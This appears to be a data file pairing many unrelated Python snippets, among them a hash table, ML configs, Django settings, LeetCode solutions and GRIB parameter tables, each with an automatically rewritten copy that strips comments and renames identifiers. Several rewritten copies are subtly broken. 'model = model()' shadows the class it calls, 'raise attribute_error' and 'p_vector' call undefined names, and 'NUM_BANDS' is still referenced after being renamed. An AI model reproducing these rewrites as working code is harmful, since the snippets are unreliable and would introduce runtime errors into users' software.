class HashTable: def __init__(self): self.size = 11 self.slots = [None] * self.size self.data = [None] * self.size def put(self, key, data): hashvalue = self.hashfunction(key, len(self.slots)) if self.slots[hashvalue] == None: self.slots[hashvalue] = key ...
class Hashtable: def __init__(self): self.size = 11 self.slots = [None] * self.size self.data = [None] * self.size def put(self, key, data): hashvalue = self.hashfunction(key, len(self.slots)) if self.slots[hashvalue] == None: self.slots[hashvalue] = key ...
src =Split(''' uData_sample.c ''') component =aos_component('uDataapp', src) dependencis =Split(''' tools/cli framework/netmgr framework/common device/sensor framework/uData ''') for i in dependencis: component.add_comp_deps(i) global_includes =Split(''' . ''') for i in global_inclu...
src = split(' \n uData_sample.c\n') component = aos_component('uDataapp', src) dependencis = split(' \n tools/cli\n framework/netmgr\n framework/common\n device/sensor\n framework/uData\n') for i in dependencis: component.add_comp_deps(i) global_includes = split(' \n .\n') for i in global_inclu...
"""Global parameters for the VGGish model. See vggish_slim.py for more information. """ # Architectural constants. NUM_FRAMES = 50 # Frames in input mel-spectrogram patch. NUM_BANDS = 64 # Frequency bands in input mel-spectrogram patch. EMBEDDING_SIZE = 128 # Size of embedding layer. # Hyperparameters used in feat...
"""Global parameters for the VGGish model. See vggish_slim.py for more information. """ num_frames = 50 num_bands = 64 embedding_size = 128 sample_rate = 16000 stft_window_length_seconds = 0.04 stft_hop_length_seconds = 0.02 num_mel_bins = NUM_BANDS mel_min_hz = 125 mel_max_hz = 7500 log_offset = 0.01 example_window_se...
{ 'name': 'Chapter 05, Recipe 1 code', 'summary': 'Report errors to the user', 'depends': ['base'], }
{'name': 'Chapter 05, Recipe 1 code', 'summary': 'Report errors to the user', 'depends': ['base']}
config = { "interfaces": { "google.pubsub.v1.Subscriber": { "retry_codes": { "idempotent": ["ABORTED", "UNAVAILABLE", "UNKNOWN"], "non_idempotent": ["UNAVAILABLE"], "none": [], }, "retry_params": { "default":...
config = {'interfaces': {'google.pubsub.v1.Subscriber': {'retry_codes': {'idempotent': ['ABORTED', 'UNAVAILABLE', 'UNKNOWN'], 'non_idempotent': ['UNAVAILABLE'], 'none': []}, 'retry_params': {'default': {'initial_retry_delay_millis': 100, 'retry_delay_multiplier': 1.3, 'max_retry_delay_millis': 60000, 'initial_rpc_timeo...
class EntrySupport(object): mixin = 'Entry' class Reporter(object): def __init__(self, model, subject=None): if subject: subject = subject.strip(':') self.model = model self.subject = subject def __call__(self, tag, subject=None, entry=None,...
class Entrysupport(object): mixin = 'Entry' class Reporter(object): def __init__(self, model, subject=None): if subject: subject = subject.strip(':') self.model = model self.subject = subject def __call__(self, tag, subject=None, entry=None,...
class BouncingBall(object): def __init__(self, x, y, dia, col): self.location = PVector(x, y) self.velocity = PVector(0, 0) self.d = dia self.col = col self.gravity = 0.1 self.dx = 2 def move(self): # self.location.x += self.dx s...
class Bouncingball(object): def __init__(self, x, y, dia, col): self.location = p_vector(x, y) self.velocity = p_vector(0, 0) self.d = dia self.col = col self.gravity = 0.1 self.dx = 2 def move(self): self.velocity.y += self.gravity self.location...
# Copyright 2020 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
"""Implementation of ObjC/Swift Intent library rule.""" load('@build_bazel_rules_apple//apple:providers.bzl', 'AppleSupportToolchainInfo') load('@build_bazel_rules_apple//apple/internal:resource_actions.bzl', 'resource_actions') load('@build_bazel_rules_apple//apple/internal:platform_support.bzl', 'platform_support') l...
class errors(): # *********************************************************************** # # SpcErr.h = (c) Spectrum GmbH, 2006 # # *********************************************************************** # # error codes of the Spectrum drivers. Until may 2004 this file was # errors.h. N...
class Errors: err_ok = 0 err_init = 1 err_nr = 2 err_typ = 3 err_fncnotsupported = 4 err_brdremap = 5 err_kernelversion = 6 err_hwdrvversion = 7 err_adrrange = 8 err_invalidhandle = 9 err_boardnotfound = 10 err_boardinuse = 11 err_lasterr = 16 err_abort = 32 e...
def get_data_odor_num_val(): # get data odor = '' data = [] with open('mushrooms_data.txt') as f: lines = f.readlines() for line in lines: odor = line[10] if odor == 'a': # almond data.append(1) elif odor == 'l': # anise data.append(2) ...
def get_data_odor_num_val(): odor = '' data = [] with open('mushrooms_data.txt') as f: lines = f.readlines() for line in lines: odor = line[10] if odor == 'a': data.append(1) elif odor == 'l': data.append(2) elif odor == 'c': da...
# This problem can be solved analytically, but we can just as well use # a for loop. For a given shell of side n, the value at the top right # vertex is given by the area, n^2. Moving anticlockwise, the values at # the other vertex is always (n - 1) less than the previous vertex. n_max = 1001 ans = 1 + sum(4*n...
n_max = 1001 ans = 1 + sum((4 * n ** 2 - 6 * (n - 1) for n in range(3, n_max + 1, 2))) print(ans)
#Create a converter that changes binary numbers to decimals and vice versa def b_to_d(number): var = str(number)[::-1] counter = 0 decimal = 0 while counter < len(var): if int(var[counter]) == 1: decimal += 2**counter counter += 1 return decimal def d_to_b(number): binary = '' while num...
def b_to_d(number): var = str(number)[::-1] counter = 0 decimal = 0 while counter < len(var): if int(var[counter]) == 1: decimal += 2 ** counter counter += 1 return decimal def d_to_b(number): binary = '' while number > 0: binary += str(number % 2) ...
#file operations with open('test.txt', 'r') as f: #print('file contents using f.read()', f.read()) #print('file contencts using f.readlines()', f.readlines()) #print('file read 1 line using f.readline', f.readline()) print('read line by line, so that there is no memeory issue') for line in f: print(line, end = ...
with open('test.txt', 'r') as f: print('read line by line, so that there is no memeory issue') for line in f: print(line, end='') print() with open('test.txt', 'r') as f: print('printing using specific size') size_to_read = 10 f_contents = f.read(size_to_read) while len(f_contents) > 0: ...
class Solution(object): def combinationSum2(self, candidates, target): """ :type candidates: List[int] :type target: int :rtype: List[List[int]] """ candidates.sort() return self.adding(candidates, 0, target, []) def adding(self, candidates, startIndex, ...
class Solution(object): def combination_sum2(self, candidates, target): """ :type candidates: List[int] :type target: int :rtype: List[List[int]] """ candidates.sort() return self.adding(candidates, 0, target, []) def adding(self, candidates, startIndex,...
""" This program asks the user for 1) the name of a text file 2) a line number and prints the text from that line of the file. """ def main(): try: # Get a filename from the user. filename = input("Enter the name of text file: ") # Read the text file specified by the user into a list. ...
""" This program asks the user for 1) the name of a text file 2) a line number and prints the text from that line of the file. """ def main(): try: filename = input('Enter the name of text file: ') text_lines = read_list(filename) linenum = int(input('Enter a line number: ')) line =...
_base_ = [ '../../../_base_/datasets/fine_tune_based/few_shot_voc.py', '../../../_base_/schedules/schedule.py', '../../tfa_r101_fpn.py', '../../../_base_/default_runtime.py' ] # classes splits are predefined in FewShotVOCDataset # FewShotVOCDefaultDataset predefine ann_cfg for model reproducibility. data = ...
_base_ = ['../../../_base_/datasets/fine_tune_based/few_shot_voc.py', '../../../_base_/schedules/schedule.py', '../../tfa_r101_fpn.py', '../../../_base_/default_runtime.py'] data = dict(train=dict(type='FewShotVOCDefaultDataset', ann_cfg=[dict(method='TFA', setting='SPLIT2_10SHOT')], num_novel_shots=10, num_base_shots=...
class LibraryException(Exception): pass class BookException(Exception): pass
class Libraryexception(Exception): pass class Bookexception(Exception): pass
a,b=map(int,input().split()) if b==0 and a>0: print("Gold") elif a==0 and b>0: print("Silver") elif a>0 and b>0: print("Alloy")
(a, b) = map(int, input().split()) if b == 0 and a > 0: print('Gold') elif a == 0 and b > 0: print('Silver') elif a > 0 and b > 0: print('Alloy')
n = int(input()) h = int(input()) w = int(input()) print((n-h+1) * (n-w+1))
n = int(input()) h = int(input()) w = int(input()) print((n - h + 1) * (n - w + 1))
class custom_range: def __init__(self, start: int, end: int) -> None: self.start = start self.end = end def __iter__(self) -> iter: return self def __next__(self) -> int: if self.start <= self.end: i = self.start self.start += 1 ...
class Custom_Range: def __init__(self, start: int, end: int) -> None: self.start = start self.end = end def __iter__(self) -> iter: return self def __next__(self) -> int: if self.start <= self.end: i = self.start self.start += 1 return i...
ADD_USER_CONTEXT = { "CyberArkPAS.Users(val.id == obj.id)": { "authenticationMethod": [ "AuthTypePass" ], "businessAddress": { "workCity": "", "workCountry": "", "workState": "", "workStreet": "", "workZip": "" }, "changePassOnNextLogon": True, "componentUse...
add_user_context = {'CyberArkPAS.Users(val.id == obj.id)': {'authenticationMethod': ['AuthTypePass'], 'businessAddress': {'workCity': '', 'workCountry': '', 'workState': '', 'workStreet': '', 'workZip': ''}, 'changePassOnNextLogon': True, 'componentUser': False, 'description': 'new user for test', 'distinguishedName': ...
# Common training-related configs that are designed for "tools/lazyconfig_train_net.py" # You can use your own instead, together with your own train_net.py train = dict( output_dir="./output", init_checkpoint="detectron2://ImageNetPretrained/MSRA/R-50.pkl", max_iter=90000, amp=dict(enabled=False), # op...
train = dict(output_dir='./output', init_checkpoint='detectron2://ImageNetPretrained/MSRA/R-50.pkl', max_iter=90000, amp=dict(enabled=False), ddp=dict(broadcast_buffers=False, find_unused_parameters=False, fp16_compression=False), checkpointer=dict(period=5000, max_to_keep=100), eval_period=5000, log_period=20, device=...
#------------------------------------------------------------------------------ # Copyright (c) 2013, Nucleic Development Team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file LICENSE, distributed with this software. #-----------------------------------------------------...
class Objectdict(dict): """ A dict subclass which allows access by named attribute. """ __slots__ = () def __getattr__(self, attr): if attr in self: return self[attr] msg = "'%s' object has no attribute '%s'" raise attribute_error(msg % (type(self).__name__, attr))
""" Base class for a projectile """ class CageProjectile(object): """ Simple projectile base class """ def __init__(self, world, projectileid): self.world = world self.projectileid = projectileid def next(self): """ Progress the game state to the next tick. "...
""" Base class for a projectile """ class Cageprojectile(object): """ Simple projectile base class """ def __init__(self, world, projectileid): self.world = world self.projectileid = projectileid def next(self): """ Progress the game state to the next tick. ...
s1 = "fairy tales" s2 = "rail safety" s1 = s1.replace(" ", "").lower() s2 = s2.replace(" ", "").lower() # Requires n log n time (since any comparison # based sorting algorithm requires at least # nlogn time to sort). print(sorted(s1) == sorted(s2)) # The Preferred Solution # This solution is of linear time complexi...
s1 = 'fairy tales' s2 = 'rail safety' s1 = s1.replace(' ', '').lower() s2 = s2.replace(' ', '').lower() print(sorted(s1) == sorted(s2)) def is_anagram(s1, s2): ht = dict() s1 = s1.replace(' ', '').lower() s2 = s2.replace(' ', '').lower() print(s1, ' ', s2) if len(s1) != len(s2): return Fal...
model = Model() i1 = Input("input", "TENSOR_QUANT8_ASYMM", "{4, 3, 2}, 0.8, 5") axis = Parameter("axis", "TENSOR_INT32", "{4}", [1, 0, -3, -3]) keepDims = False output = Output("output", "TENSOR_QUANT8_ASYMM", "{2}, 0.8, 5") model = model.Operation("REDUCE_MAX", i1, axis, keepDims).To(output) # Example 1. Input in op...
model = model() i1 = input('input', 'TENSOR_QUANT8_ASYMM', '{4, 3, 2}, 0.8, 5') axis = parameter('axis', 'TENSOR_INT32', '{4}', [1, 0, -3, -3]) keep_dims = False output = output('output', 'TENSOR_QUANT8_ASYMM', '{2}, 0.8, 5') model = model.Operation('REDUCE_MAX', i1, axis, keepDims).To(output) input0 = {i1: [1, 2, 3, 4...
#Your secret information. Make sure you don't tell anyone secret_key = '' public_key = '' url='https://api.paystack.co/transaction'
secret_key = '' public_key = '' url = 'https://api.paystack.co/transaction'
class Solution: def find132pattern(self, nums: List[int]) -> bool: if len(nums) < 3: return False second_num = -math.inf stck = [] # Try to find nums[i] < second_num < stck[-1] for i in range(len(nums) - 1, -1, -1): if nums[i] < second_num: ...
class Solution: def find132pattern(self, nums: List[int]) -> bool: if len(nums) < 3: return False second_num = -math.inf stck = [] for i in range(len(nums) - 1, -1, -1): if nums[i] < second_num: return True while stck and stck[-1] ...
class Logger: # Logger channel. channel: str def __init__(self, channel: str): self.channel = channel def log(self, message): print(f'\033[92m[{self.channel}] {message}\033[0m') def info(self, message): print(f'\033[94m[{self.channel}] {message}\033[0m') def warning(s...
class Logger: channel: str def __init__(self, channel: str): self.channel = channel def log(self, message): print(f'\x1b[92m[{self.channel}] {message}\x1b[0m') def info(self, message): print(f'\x1b[94m[{self.channel}] {message}\x1b[0m') def warning(self, message): ...
r=' ' lista=list() while True: n=(int(input('digite um numero'))) if n in lista: print('numero duplicado nao adicionado...') r = str(input('quer continuar')) else: lista.append(n) print('numero adicionado com sucesso.') r=str(input('quer continuar')) if r == 'n...
r = ' ' lista = list() while True: n = int(input('digite um numero')) if n in lista: print('numero duplicado nao adicionado...') r = str(input('quer continuar')) else: lista.append(n) print('numero adicionado com sucesso.') r = str(input('quer continuar')) if r ==...
# Almost any value is evaluated to True if it has some sort of content. # # Any string is True, except empty strings. # # Any number is True, except 0. # # Any list, tuple, set, and dictionary are True, except empty ones. bool("abc") bool(123) bool(["apple", "cherry", "banana"])
bool('abc') bool(123) bool(['apple', 'cherry', 'banana'])
# Distributed under the MIT software license, see the accompanying # file LICENSE or https://www.opensource.org/licenses/MIT. # List of words which are recognized in commands. The display_name method # also recognizes strings between these words as own words so not all words # appearing in command names have to be lis...
word_list = ['abort', 'account', 'address', 'balance', 'block', 'by', 'chain', 'change', 'clear', 'connection', 'convert', 'decode', 'fee', 'generate', 'get', 'hash', 'header', 'import', 'info', 'key', 'label', 'message', 'multi', 'network', 'node', 'out', 'psbt', 'pool', 'priv', 'pruned', 'list', 'raw', 'save', 'send'...
#!/usr/bin/env python # -*- coding: utf-8 -*- """Python APRS Module Tests.""" __author__ = 'Greg Albrecht W2GMD <oss@undef.net>' # NOQA pylint: disable=R0801 __copyright__ = 'Copyright 2017 Greg Albrecht and Contributors' # NOQA pylint: disable=R0801 __license__ = 'Apache License, Version 2.0' # NOQA pylint: disab...
"""Python APRS Module Tests.""" __author__ = 'Greg Albrecht W2GMD <oss@undef.net>' __copyright__ = 'Copyright 2017 Greg Albrecht and Contributors' __license__ = 'Apache License, Version 2.0'
data = { "red": ((0.0, 0.0, 0.0), (1.0, 0.2, 0.2)), "green": ((0.0, 0.0, 0.0), (1.0, 0.2, 0.2)), "blue": ((0.0, 0.0, 0.0), (1.0, 1.0, 1.0)), }
data = {'red': ((0.0, 0.0, 0.0), (1.0, 0.2, 0.2)), 'green': ((0.0, 0.0, 0.0), (1.0, 0.2, 0.2)), 'blue': ((0.0, 0.0, 0.0), (1.0, 1.0, 1.0))}
# create template class DtlTemplateCreateModel: def __init__(self, name, subject, html_body): # required fields self.name = name self.subject = subject self.html_body = html_body self.template_setting_id = None self.unsubscribe_option = None def get_json_object...
class Dtltemplatecreatemodel: def __init__(self, name, subject, html_body): self.name = name self.subject = subject self.html_body = html_body self.template_setting_id = None self.unsubscribe_option = None def get_json_object(self): return {'name': self.name, 's...
ABSOLUTE_URL_OVERRIDES = {} ADMINS = () ADMIN_FOR = () ADMIN_MEDIA_PREFIX = '/static/admin/' ALLOWED_INCLUDE_ROOTS = () APPEND_SLASH = True AUTHENTICATION_BACKENDS = ('django.contrib.auth.backends.ModelBackend',) BANNED_IPS = () CACHES = {} CACHE_MIDDLEWARE_ALIAS = 'default' CACHE_MIDDLEWARE_KEY_PREFIX = '' CACHE_MIDDL...
absolute_url_overrides = {} admins = () admin_for = () admin_media_prefix = '/static/admin/' allowed_include_roots = () append_slash = True authentication_backends = ('django.contrib.auth.backends.ModelBackend',) banned_ips = () caches = {} cache_middleware_alias = 'default' cache_middleware_key_prefix = '' cache_middl...
def load(h): return ({'abbr': 0, 'code': 0, 'title': 'Visibility', 'units': 'm'}, {'abbr': 1, 'code': 1, 'title': 'Albedo', 'units': '%'}, {'abbr': 2, 'code': 2, 'title': 'Thunderstorm probability', 'units': '%'}, {'abbr': 3, 'code': 3, 'title': 'Mixed layer depth', 'units': 'm'}...
def load(h): return ({'abbr': 0, 'code': 0, 'title': 'Visibility', 'units': 'm'}, {'abbr': 1, 'code': 1, 'title': 'Albedo', 'units': '%'}, {'abbr': 2, 'code': 2, 'title': 'Thunderstorm probability', 'units': '%'}, {'abbr': 3, 'code': 3, 'title': 'Mixed layer depth', 'units': 'm'}, {'abbr': 4, 'code': 4, 'title': 'V...